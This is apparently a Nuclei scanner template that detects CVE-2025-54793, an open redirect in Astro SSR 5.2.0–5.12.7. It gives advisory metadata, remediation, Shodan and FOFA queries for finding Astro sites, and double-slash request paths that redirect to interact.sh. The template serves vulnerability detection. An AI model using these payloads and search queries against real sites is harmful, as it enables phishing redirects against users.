Astro SSR - Open Redirect

id: CVE-2025-54793

info:
  name: Astro SSR - Open Redirect
  author: DhiyaneshDk
  severity: medium
  description: |
    Astro 5.2.0 through 5.12.7 contains an open redirect caused by improper handling of paths with double slashes in trailing slash redirection logic, letting attackers redirect users to arbitrary external domains, exploit requires on-demand SSR with Node or Cloudflare adapters.
  impact: |
    Attackers can redirect users to malicious sites, increasing phishing and social engineering risks.
  remediation: |
    Upgrade to version 5.12.8 or later; alternatively, block outgoing redirects with Location headers starting with // at the network level.
  reference:
    - https://github.com/withastro/astro/security/advisories/GHSA-cq8c-xv66-36gw
    - https://nvd.nist.gov/vuln/detail/CVE-2025-54793
    - https://github.com/withastro/astro/commit/9ec88a04f93611cc07deff76ef6a18c88d6a77b9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-54793
    epss-score: 0.00604
    epss-percentile: 0.69799
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 3
    vendor: withastro
    product: astro
    shodan-query: http.component:"Astro"
    fofa-query: app="Astro"
  tags: cve,cve2025,astro,redirect,open-redirect

http:
  - method: GET
    path:
      - "{{BaseURL}}//interact.sh/en//"
      - "{{BaseURL}}//interact.sh/en/"
      - "{{BaseURL}}//interact.sh/en"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 301
          - 302
          - 307
          - 308

      - type: regex
        part: header
        regex:
          - '(?i)location:\s*//interact\.sh'
# digest: 490a004630440220571e11a534b9aac9e8d53e7a8efc8fcafda156532fc6b8cc832b9a13e9e4921b02207f36d8ba4cab38520a35419e6e09e0de2311277b44dffc0931a7b84fc67c655c:922c64590222798bb761d5b6d8e72950